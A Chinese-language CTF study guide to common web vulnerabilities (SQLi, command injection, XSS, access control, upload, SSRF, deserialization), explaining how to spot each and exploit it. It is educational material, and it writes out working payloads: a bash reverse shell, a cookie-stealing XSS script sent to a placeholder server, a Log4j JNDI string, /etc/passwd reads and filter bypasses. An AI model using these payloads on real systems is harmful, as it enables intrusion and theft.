web类型漏洞
Web 类型漏洞是指在 Web 应用程序的设计、开发或配置过程中产生的安全缺陷,攻击者可以利用这些缺陷执行未授权的操作,例如窃取数据、控制服务器或破坏服务。
以下是一些最常见和最具危害性的 Web 漏洞类型:
💉 注入 (Injection)
这类漏洞允许攻击者通过输入恶意指令来欺骗解释器,从而执行非预期的命令或访问数据。
- SQL 注入 (SQLi): 攻击者将恶意的 SQL 代码插入到 Web 表单或 URL 参数中,欺骗服务器执行恶意 SQL 命令。这可能导致数据库信息泄露、数据被篡改甚至整个数据库被删除。
- 命令注入 (Command Injection): 攻击者利用应用程序的缺陷,在服务器操作系统上执行任意系统命令。这是一种高风险漏洞,可能导致服务器被完全控制。
🎭 跨站脚本 (XSS)
XSS 攻击允许攻击者将恶意脚本(通常是 JavaScript)注入到受害者浏览的网页中。当其他用户访问该页面时,恶意脚本会在其浏览器上执行。
- 危害: 攻击者可以窃取用户的会话 Cookie,从而劫持用户账户;也可以进行钓鱼欺骗或传播恶意代码。
- 类型: 主要分为存储型(恶意脚本保存在服务器上)、反射型(通过诱骗用户点击恶意链接触发)和 DOM 型(在客户端脚本处理数据时发生)。
🔓 访问控制失效 (Broken Access Control)
这是 2021 年 OWASP Top 10 榜单中排名第一的漏洞。它指的是应用程序未能正确地限制用户对资源和功能的访问。
- 表现: 普通用户可以访问管理员页面,或者用户可以查看、修改其他用户的敏感数据(越权访问)。
🧩 其他常见漏洞
- 跨站请求伪造 (CSRF): 攻击者诱使已登录的用户在不知情的情况下,向一个受信任的网站发送恶意请求。例如,在用户登录银行网站后,访问攻击者的恶意网站,后者会自动触发一笔转账操作。
- 文件上传漏洞: 攻击者上传一个包含恶意代码的文件(如 Webshell)到服务器并执行,从而获得服务器的控制权。
- 安全配置错误: 由于系统、框架或服务器(如 Web 服务器、数据库)的安全配置不当或使用了默认配置,导致攻击者可以轻易获取敏感信息或访问权限。
- 使用含有已知漏洞的组件: 应用程序中使用的库、框架或其他软件组件存在已知的安全漏洞,攻击者可以利用这些漏洞进行攻击。
- 身份认证失效: 与身份验证和会话管理相关的功能实现不当,使得攻击者可以破解密码、劫持会话令牌或利用其他漏洞冒充合法用户。
- 敏感信息泄露: 应用程序未能妥善保护敏感数据(如密码、信用卡号),可能通过错误信息、未加密的传输或存储等方式泄露。
- 不安全的反序列化: 反序列化过程存在缺陷,可能导致远程代码执行、重放攻击或注入攻击。
- 服务器端请求伪造 (SSRF): 攻击者诱使服务器向攻击者选择的任意位置发起请求,常用于探测内网或攻击内部服务。
SQL注入
🔍 如何识别题目类型
当你看到以下场景或提示时,应优先考虑 SQL 注入:
- 功能场景 :登录页面、搜索框、商品详情页(URL 中有
id=参数)、用户信息查询。 - 题目提示 :
- 题目描述提到"登录绕过"、"获取管理员密码"、"数据库查询"。
- 输入特殊字符(如
')后,页面报错(如SQL syntax error),或者页面内容发生异常变化。 - 题目给了数据库类型提示(如 MySQL, SQLite, MSSQL)。
🛠️ 对应做法与解题思路
第一步:判断注入点与类型
- 测试字符 :输入
'或"。如果页面报错或异常,说明存在注入点。 - 判断类型 :
- 字符型 :输入
1'报错,输入1' or '1'='1可能成功。 - 数字型 :输入
1正常,输入1 and 1=1正常,输入1 and 1=2异常。
- 字符型 :输入
第二步:构造 Payload(攻击载荷)
根据题目类型选择不同的攻击手法:
| 注入类型 | 典型场景 | 常用 Payload 示例 | 目的 |
|---|---|---|---|
| 登录绕过 | 登录框 | ' or '1'='1 ' or 1=1# |
利用逻辑永真式绕过密码验证。 |
| 联合查询 | 显示数据的页面 | 1' union select 1, database()# |
利用 UNION 操作符将攻击者的查询结果与原查询结果合并显示。 |
| 报错注入 | 页面显示数据库错误 | 1' and extractvalue(1, concat(0x7e, (select version()), 0x7e))# |
利用数据库报错机制将数据通过错误信息回显出来。 |
| 盲注 | 页面只有"对/错"或无变化 | 1' and if(length(database())>5, sleep(5), 0)# |
通过页面响应时间(时间盲注)或内容差异(布尔盲注)逐位猜解数据。 |
第三步:获取 Flag
- 猜解字段数 :使用
order by语句(如1' order by 3#),直到页面报错,确定查询的列数。 - 获取库名/表名 :利用
information_schema库查询当前数据库名和表名。 - 获取列名/数据 :查询目标表的列名,最后通过
union select把flag或password查出来。 - 工具辅助 :如果是复杂的盲注,通常使用 SQLMap 等自动化工具进行跑库。
命令注入
🔍 如何识别题目类型
命令注入通常出现在 Web 应用需要与操作系统交互的场景中:
- 功能场景 :
- Ping 测试:输入 IP 地址,网站返回 Ping 的结果。
- DNS 查询:输入域名查询解析记录。
- 文件管理:在线解压、文件转换、查看文件属性。
- 题目提示 :
- 题目描述提到"网络检测"、"系统状态"、"执行命令"。
- 输入框看似只接受 IP 或域名,但你可以尝试输入系统命令。
🛠️ 对应做法与解题思路
第一步:探测与验证
尝试在输入框中输入 IP 地址加上连接符,看是否能执行额外命令。
- 常用连接符 :
|、||、&、&&、;、换行符(%0a)。 - 测试 Payload :
127.0.0.1 | whoami(Linux)127.0.0.1 && type C:\Windows\win.ini(Windows)- 如果页面返回了
www-data或文件内容,说明注入成功。
第二步:绕过过滤(如果存在)
很多题目会过滤空格或敏感命令(如 cat, ls),需要绕过:
- 绕过空格 :使用
${IFS}、<、>或换行符代替空格。- 例如:
cat${IFS}flag.php。
- 例如:
- 命令拼接 :如果
cat被禁,可以用more、less、head、tail或base64查看文件。 - 编码绕过 :如果关键字被过滤,可以将命令进行 Base64 编码,通过管道传递给
bash执行(如echo "Y2F0IGZsYWcucGhw" | base64 -d | bash)。
第三步:获取 Flag
- 直接读取 :如果知道 Flag 文件名,直接用
cat flag*或ls查看目录。 - 反弹 Shell :如果题目允许外联,可以构造 Payload 让服务器主动连接你的监听端口(如
bash -i >& /dev/tcp/你的IP/端口 0>&1),从而获得一个完整的命令行控制权。 - 工具辅助 :可以使用 Burp Suite 的 Intruder 模块或 Commix 工具进行自动化测试。
📌 总结对比
| 特征 | SQL 注入 (SQLi) | 命令注入 (Command Injection) |
|---|---|---|
| 核心目标 | 数据库 (Database) | 操作系统 (Operating System) |
| 常见入口 | 登录框、搜索栏、ID 参数 | Ping 工具、文件查看器、系统监控 |
| 关键符号 | ' " ; -- # union |
` |
| 解题核心 | 构造 SQL 语法闭合,查询敏感数据 | 拼接系统命令,读取文件或执行指令 |
| 防御原理 | 使用参数化查询 (PreparedStatement) | 避免调用系统命令,或使用白名单校验 |
通过观察输入框的功能(是查数据还是调系统工具)以及尝试输入特殊符号后的反应,你就能快速区分这两类题目并采取相应的解题策略。
XSS漏洞
XSS(跨站脚本攻击)是 Web 安全中最常见且变化多端的漏洞类型。在 CTF 比赛或实际挖掘中,XSS 的核心在于**"代码注入"** 与**"执行环境"**。
根据恶意代码的存储位置、触发方式以及执行位置,XSS 主要分为三大类:反射型 、存储型 和 DOM 型。
以下是详细的识别特征与解题/利用思路:
🎣 反射型 XSS
这是最常见的一种类型,通常出现在 CTF 的入门题或钓鱼场景中。
🔍 如何识别
- 场景特征 :搜索框、URL 参数(如
?q=xxx)、错误提示页面。 - 题目提示 :
- 你在搜索框输入
<script>alert(1)</script>,页面直接弹出了弹窗。 - 刷新页面后,弹窗消失(非持久化)。
- 题目要求你构造一个链接,让管理员点击后获取 Cookie。
- 你在搜索框输入
- 核心逻辑:你输入的数据 -> 服务器接收 -> 服务器直接"反射"回浏览器 -> 浏览器执行。
🛠️ 做法与解题思路
- 基础测试 :
- 在 URL 参数或搜索框输入
<script>alert(1)</script>。 - 如果没弹窗,查看网页源码,看你的输入是否被转义(如
<变成了<)。
- 在 URL 参数或搜索框输入
- 构造 Payload :
- 如果
<script>标签被过滤,尝试使用事件句柄:<img src=x onerror=alert(1)>。 - 如果空格被过滤,使用
/或%0a代替空格,或者利用标签属性:<img/src=x onerror=alert(1)>。
- 如果
- 进阶利用(CTF 常见) :
-
URL 编码 :为了绕过简单的 WAF 或浏览器解析差异,通常需要对 Payload 进行 URL 编码(如
<变为%3C)。 -
钓鱼/窃取 Cookie:题目通常要求"让管理员访问你的链接"。你需要编写一段 JS 代码,将管理员的 Cookie 发送到你的服务器(或题目指定的接收端)。
-
Payload 示例 :html
预览
1<script> 2location.href='http://你的服务器地址/collect.php?cookie='+document.cookie; 3</script>
-
💾 存储型 XSS
这是危害最大的一种,被称为"持久化"攻击。
🔍 如何识别
- 场景特征:留言板、评论区、个人资料修改(昵称/签名)、论坛发帖。
- 题目提示 :
- 你在留言板输入一段 JS 代码,提交后,只要刷新页面或换个浏览器访问该页面,代码都会自动执行。
- 题目描述提到"留言板"、"评论"、"个人信息"。
- 核心逻辑:你输入的数据 -> 服务器存入数据库 -> 受害者访问页面 -> 服务器从数据库取出并输出 -> 浏览器执行。
🛠️ 做法与解题思路
- 寻找输入点:找到所有能提交数据的地方(评论、昵称、头像文件名等)。
- 绕过前端验证 :
- 有些网站前端 JS 会禁止输入
<,直接按F12删除input标签中的maxlength属性或修改 JS 逻辑,强行提交长 Payload。
- 有些网站前端 JS 会禁止输入
- 构造 Payload :
- 同反射型,但要注意闭合环境 。如果输入点在
<textarea>标签内,你需要先闭合它:</textarea><script>alert(1)</script>。
- 同反射型,但要注意闭合环境 。如果输入点在
- 自动化攻击(蠕虫) :
- 在 CTF 高难度题目中,可能需要利用存储型 XSS 制作"XSS 蠕虫"。即:受害者 A 访问页面 -> 执行 JS -> JS 自动修改 A 的资料(植入 XSS 代码) -> 受害者 B 访问 A 的资料 -> 中招。
🧩 DOM 型 XSS
这是一种纯前端的漏洞,不经过服务器端的处理,因此传统的服务器端 WAF 很难防御。
🔍 如何识别
- 场景特征 :单页应用(SPA)、根据 URL 锚点(
#)动态显示内容的页面、基于 URL 参数动态渲染的页面。 - 题目提示 :
- 你查看网页源码,发现
<script>标签里没有明显的输出点,但页面内容会随着 URL 变化而变化。 - 题目提示"DOM"、"前端逻辑"、"Hash"。
- 输入
<script>标签在 URL 的#后面(如url.com/#<script>alert(1)</script>),页面执行了代码。
- 你查看网页源码,发现
- 核心逻辑 :浏览器请求页面 -> 服务器返回固定的 JS 代码 -> JS 代码读取 URL 参数/Hash -> JS 代码通过
innerHTML或document.write写入页面 -> 执行。
🛠️ 做法与解题思路
- 审计前端代码 :
- 这是解题关键。按
F12查看 Sources 或搜索 JS 文件。 - 寻找危险函数 :
document.write(),innerHTML,eval(),location.hash,location.search。
- 这是解题关键。按
- 定位"源"与"汇" :
- 源 (Source) :数据从哪里来?通常是
location.hash(URL 的 # 后面部分)或location.search(? 后面部分)。 - 汇 (Sink) :数据去了哪里?如果是去了
innerHTML,通常存在 XSS。
- 源 (Source) :数据从哪里来?通常是
- 构造 Payload :
- 如果代码是
document.write(location.hash),Payload 就是http://site.com/#<script>alert(1)</script>。 - 注意:DOM 型 XSS 的 Payload 通常不会发送给服务器(因为 # 后面的内容浏览器不发送),所以你需要自己在本地构造 URL 测试。
- 如果代码是
📌 总结对比表
表格
| 特性 | 反射型 XSS | 存储型 XSS | DOM 型 XSS |
|---|---|---|---|
| 持久性 | 非持久(一次性) | 持久(永久存在数据库) | 通常非持久(取决于 URL) |
| 触发方式 | 诱导用户点击恶意链接 | 用户访问被植入恶意代码的页面 | 用户访问特定的恶意 URL |
| 数据流向 | 客户端 -> 服务端 -> 客户端 | 客户端 -> 服务端(数据库) -> 客户端 | 客户端 -> 客户端 (JS 处理) |
| 常见位置 | 搜索框、URL 参数 | 留言板、评论、用户资料 | URL Hash (#)、前端 JS 逻辑 |
| 解题重点 | URL 编码、构造钓鱼链接 | 寻找所有输入点、绕过长度限制 | 审计前端 JS 代码、找 Sink 点 |
🛡️ 通用绕过技巧 (Bypass)
在做题时,如果直接输入 <script> 没反应,通常是因为被过滤了。可以尝试以下技巧:
- 大小写混合 :
<ScRiPt>alert(1)</ScRiPt>。 - 双写绕过 :如果过滤器把
script替换为空,可以用<scr<script>ipt>alert(1)</scr<script>ipt>。 - 利用其他标签 :
<img src=x onerror=alert(1)>(最常用)<svg onload=alert(1)><body onload=alert(1)><input onfocus=alert(1) autofocus>
- 编码:HTML 实体编码、URL 编码、Base64 编码(视具体环境而定)。
- 闭合标签 :如果输入点在
<input value="这里">中,你需要先闭合:"><script>alert(1)</script>。
访问控制失效
访问控制失效 (Broken Access Control) 是 OWASP Top 10 榜单中常年霸榜前列的漏洞。
简单来说,它的核心问题不是"你是谁"(那是身份认证),而是**"你能干什么"**。如果系统没能正确限制你访问资源或执行操作的权限,让你干了不该干的事,那就是访问控制失效。
在 CTF 比赛或漏洞挖掘中,这类题目通常被称为**"越权"**。以下是详细的识别与解题思路:
🎯 核心分类与识别
访问控制失效主要分为三大类,识别它们的关键在于观察**"当前用户"** 与**"目标资源/功能"**之间的关系。
| 类型 | 别名 | 核心逻辑 | 典型场景 |
|---|---|---|---|
| 水平越权 | IDOR (不安全的直接对象引用) | 同级互访。用户 A 访问了属于 用户 B 的数据。 | 查看他人订单、修改他人个人资料、查看他人私信。 |
| 垂直越权 | 权限提升 | 下级访上。普通用户访问了 管理员/超级用户 的功能。 | 普通用户访问 /admin 后台、执行"删除用户"操作。 |
| 上下文/流程越权 | 业务逻辑漏洞 | 跳过步骤。未按规定的业务流程执行操作。 | 购物时跳过支付步骤直接发货、未验证直接重置密码。 |
🛠️ 做法与解题思路
1. 水平越权 (IDOR) ------ 最常见
这是 CTF 中最容易拿分的点。
- 如何识别 :
- URL 或参数中包含明显的数字 ID,如
user_id=1001、order_id=520。 - 页面显示"我的订单"、"个人信息"。
- URL 或参数中包含明显的数字 ID,如
- 解题做法 :
- 修改参数 :抓包(使用 Burp Suite),将 ID 参数修改为其他数字(如
1001改为1002或1)。 - 遍历测试:如果 ID 是连续的,可以使用工具(如 Burp Intruder)遍历 ID,看是否能获取到其他用户的数据(如 Flag 通常在管理员或其他特定用户的数据中)。
- 利用弱校验:有些系统只校验 ID 是否存在,不校验 ID 是否属于当前登录用户。
- Payload 示例 :
- URL:
GET /api/order?id=1002(原为 1001) - JSON:
{"user_id": 1, "action": "view_profile"}
- URL:
- 修改参数 :抓包(使用 Burp Suite),将 ID 参数修改为其他数字(如
2. 垂直越权 (权限提升) ------ 提权
目标是获取管理员权限或访问隐藏的高权限接口。
- 如何识别 :
- 题目提示"普通账号/弱口令账号"。
- 页面有隐藏的"管理入口"或者你知道常见的后台路径(如
/admin,/dashboard)。 - 功能按钮在界面上被隐藏(HTML 注释里可能有线索),但接口可能未做权限校验。
- 解题做法 :
- URL 探测 :尝试直接访问管理员路径,如
/admin,/manage,/system。 - 参数篡改 :
- 修改 Cookie 或 POST 数据中的角色字段:
role=user改为role=admin;is_admin=0改为is_admin=1。 - 修改 HTTP 请求头:有些应用通过
X-User-Role: admin或X-Original-URL来判断权限。
- 修改 Cookie 或 POST 数据中的角色字段:
- 强制浏览 (Force Browsing) :如果你知道某个敏感 API 端点(如
/api/delete_user),直接用普通用户身份发送请求,看服务器是否拦截。 - Payload 示例 :
- Cookie:
role=YWRtaW4=(Base64 编码的 "admin") - Header:
X-Custom-IP-Authorize: 127.0.0.1(伪造内网 IP 绕过限制)
- Cookie:
- URL 探测 :尝试直接访问管理员路径,如
3. 上下文/流程越权 ------ 逻辑漏洞
这类题目考察对业务逻辑的理解。
- 如何识别 :
- 多步骤流程:注册 -> 验证 -> 成功;或者 购物车 -> 支付 -> 订单完成。
- 题目提示"未支付获取商品"或"绕过验证"。
- 解题做法 :
- 跳过步骤 :
- 在第一步(如输入验证码)抓包,直接重放请求到第三步(如重置密码成功)。
- 在支付页面,修改 POST 参数
price=100为price=0.01或status=paid。
- 状态篡改 :
- 修改请求中的状态码或标志位,如
step=1改为step=3。
- 修改请求中的状态码或标志位,如
- HTTP 方法篡改 :
- 如果
POST /api/update需要权限,尝试用GET /api/update或PUT请求,看是否能绕过检查。
- 如果
- 跳过步骤 :
🛡️ 常见绕过技巧 (Bypass Tricks)
在做题时,如果直接访问被拒绝(403 Forbidden),可以尝试以下技巧:
- HTTP 请求头伪造 :
X-Forwarded-For: 127.0.0.1(伪装成本地请求)X-Original-URL: /adminX-Rewrite-URL: /admin
- 参数污染 :
id=1001&id=1002(后端可能只取第一个或最后一个)
- 利用 API 特性 :
- JSON 参数覆盖 :
{"user_id": 1001, "user_id": 1} - 数组参数 :
id[]=1001&id[]=1002
- JSON 参数覆盖 :
- 路径遍历 :
- 访问文件时:
/download?file=../../etc/passwd(虽然属于文件读取,但也常归类为访问控制不当)。
- 访问文件时:
📌 总结
遇到访问控制失效题目,核心心法是:"不要相信前端,不要相信默认逻辑"。
- 看 ID:能不能改?(水平越权)
- 看角色:能不能改 Admin?(垂直越权)
- 看流程:能不能跳步?(逻辑越权)
- 看隐藏接口:能不能直接调?(强制浏览)
只要服务器端没有对每一个请求进行严格的"主体-动作-对象-上下文"校验,你就能找到突破口。
其他常见漏洞
除了前面提到的注入、XSS 和访问控制失效,Web 安全领域还有许多其他高频且危害巨大的漏洞。在 CTF 比赛或实际渗透中,这些漏洞往往因为开发者的疏忽或配置不当而出现。
以下是其他常见漏洞的识别特征与解题/利用思路:
🔑 1. 身份认证失效
这类漏洞的核心在于"系统没能确认你到底是不是你",或者确认的过程太容易被绕过。
🔍 如何识别
- 场景:登录页面、找回密码页面、修改密码页面、验证码输入处。
- 提示:题目提示"弱口令"、"找回密码"、"验证码绕过"。
🛠️ 做法与解题思路
- 弱口令/默认口令 :
- 做法 :尝试
admin/admin、admin/123456、root/root等常见组合。 - 工具:使用 Burp Suite 的 Intruder 模块或 Hydra 进行字典爆破。
- 做法 :尝试
- 暴力破解 :
- 做法:如果登录没有验证码或验证码可复用,直接对用户名/密码进行爆破。
- 验证码绕过 :
- 做法 :
- 抓包重放:输入错误的验证码,抓包,修改参数再次发送,看是否校验了验证码的正确性。
- 删除参数 :删除 POST 请求中的验证码参数(如
code=),看能否跳过校验。 - 固定值 :尝试将验证码改为固定的值(如
0000或1234),看后端是否校验。
- 做法 :
- 密码重置漏洞 :
- 做法 :在找回密码流程中,抓包修改
user_id或email参数,尝试重置管理员的密码。
- 做法 :在找回密码流程中,抓包修改
🧩 2. 文件上传漏洞
这是获取服务器权限(GetShell)的最直接途径之一。
🔍 如何识别
- 场景:头像上传、附件上传、文件导入功能。
- 提示:题目是一个上传界面,或者提示"上传你的文件"。
🛠️ 做法与解题思路
核心目标是:上传一个可执行的脚本文件(如 .php, .jsp, .asp)并被服务器解析执行。
- 前端验证绕过 :
- 做法 :前端 JS 只检查文件后缀。直接在本地写一个
shell.php,或者用 Burp Suite 抓包,将文件名从shell.php改为shell.jpg传给前端 JS,但在抓包后改回shell.php发送给服务器。
- 做法 :前端 JS 只检查文件后缀。直接在本地写一个
- MIME 类型绕过 :
- 做法 :抓包,将
Content-Type从application/octet-stream或text/plain改为image/jpeg或image/png。
- 做法 :抓包,将
- 后缀名黑名单绕过 :
- 做法 :如果
.php被禁,尝试.php5,.phtml,.phps,.phar。 - 特殊技巧 :在 Apache 环境下尝试
.htaccess解析漏洞;在 IIS 下尝试.asp;.jpg。
- 做法 :如果
- 文件头检查绕过(图片马) :
- 做法 :如果服务器检查文件头(如
GIF89a),你需要制作"图片马"。 - 命令 :
copy 1.jpg/b + shell.php/a shell.php(Windows) 或在文件头部手动添加GIF89a。
- 做法 :如果服务器检查文件头(如
- 竞争上传 :
- 做法:如果服务器是先保存再删除(或重命名),使用 Burp Intruder 高频发送上传请求和访问请求,争取在文件被删除前访问到它。
📦 3. 使用含有已知漏洞的组件
这通常被称为"供应链攻击"或"组件漏洞",在 CTF 中常表现为特定的框架漏洞。
🔍 如何识别
- 场景:题目给出了具体的 CMS 名称(如 WordPress, Dedecms)或框架版本(如 Struts2, Shiro, Log4j)。
- 提示 :网页源码注释中泄露了版本号,或者 HTTP 响应头中有
X-Powered-By: Struts2。
🛠️ 做法与解题思路
- 指纹识别 :
- 做法:使用 Wappalyzer 插件或查看网页源码,确定使用的框架和版本。
- 查找 EXP :
- 做法:去 GitHub 或 Exploit-DB 搜索对应的 CVE 编号。
- 常见案例 :
- Log4j2 (CVE-2021-44228) :在 User-Agent 或任何输入框输入
${jndi:ldap://你的服务器地址/Exploit}。 - Shiro 反序列化 :使用
shiro_rce_tool生成 RememberMe 的 Cookie 进行攻击。 - Struts2 系列:通常涉及 OGNL 表达式注入,直接发送特定的 HTTP 请求包。
- Log4j2 (CVE-2021-44228) :在 User-Agent 或任何输入框输入
🔗 4. 服务器端请求伪造
SSRF 允许攻击者诱使服务器向攻击者选择的任意位置发起请求。
🔍 如何识别
- 场景:图片加载(输入 URL 加载图片)、网页截图、文件转换、API 测试工具。
- 提示:输入框要求输入一个 URL,或者提示"内网探测"。
🛠️ 做法与解题思路
核心目标是:利用服务器作为跳板,访问内网资源或读取本地文件。
- 基础探测 :
- 做法 :输入
http://127.0.0.1:80或http://localhost,看页面返回内容是否有变化(如返回了内网页面的源码)。
- 做法 :输入
- 协议利用 :
- File 协议 :
file:///etc/passwd(读取本地文件)。 - Gopher 协议 :这是 SSRF 的大杀器,可以构造任意 TCP 数据包。例如利用
gopher://127.0.0.1:6379/_SET%20mykey%20myvalue来攻击未授权的 Redis。 - Dict 协议:用于探测端口开放情况。
- File 协议 :
- 端口扫描 :
- 做法 :使用 Burp Intruder 遍历
127.0.0.1的常见端口(22, 80, 3306, 6379, 8080)。
- 做法 :使用 Burp Intruder 遍历
- 绕过过滤 :
- IP 编码 :将
127.0.0.1转换为十进制(2130706433)或十六进制。 - DNS 重绑定 :使用专门的工具(如
ip.sh)生成一个域名,解析时轮流返回内网 IP 和外网 IP,以此绕过"禁止内网 IP"的校验。
- IP 编码 :将
🔄 5. 不安全的反序列化
这是高难度漏洞,通常导致远程代码执行。
🔍 如何识别
- 场景 :登录后的
Cookie值非常长且看起来像乱码(Base64 编码),或者题目明确提示"Java 反序列化"、"PHP 反序列化"。 - 提示 :题目给出了源码,其中包含
unserialize()(PHP) 或readObject()(Java)。
🛠️ 做法与解题思路
- 识别格式 :
- PHP :通常是
O:4:"User":2:{...}这种格式。 - Java :通常是
AC ED 00 05(十六进制头) 或 Base64 后的rO0AB。 - Python :
pickle模块。
- PHP :通常是
- 寻找 Gadget Chain (利用链) :
- 做法 :你需要找到一段代码,它在反序列化过程中会被自动执行(如 PHP 的
__wakeup或__destruct魔术方法)。 - 工具 :
- PHP : 使用
phpggc工具生成 Payload。 - Java : 使用
ysoserial工具。
- PHP : 使用
- 做法 :你需要找到一段代码,它在反序列化过程中会被自动执行(如 PHP 的
- 构造 Payload :
- 如果题目给了源码,你需要分析类中的方法,构造一个对象,使得它在被销毁或唤醒时执行
system('cat /flag')之类的命令。 - 将构造好的序列化字符串替换掉原来的 Cookie。
- 如果题目给了源码,你需要分析类中的方法,构造一个对象,使得它在被销毁或唤醒时执行
📌 总结:常见漏洞速查表
| 漏洞类型 | 核心特征 | 关键解题动作 | 常用工具 |
|---|---|---|---|
| 身份认证失效 | 登录框、验证码 | 爆破、改包绕过验证码 | Burp Suite, Hydra |
| 文件上传 | 上传头像、附件 | 改后缀、改 MIME、图片马 | Burp Suite, 蚁剑/哥斯拉 |
| 已知组件漏洞 | 特定框架 (Struts/Shiro) | 搜 CVE、发 EXP 包 | GitHub, Nuclei |
| SSRF | 输入 URL 加载资源 | 扫内网端口、读 file 协议 | Gopherus, Burp |
| 反序列化 | 长字符串 Cookie | 分析魔术方法、构造利用链 | phpggc, ysoserial |
在实际做题中,信息收集是第一步。看清题目给了什么环境(PHP/Java/Python)、什么框架、有什么功能点,然后对应上面的表格去尝试,通常就能找到突破口。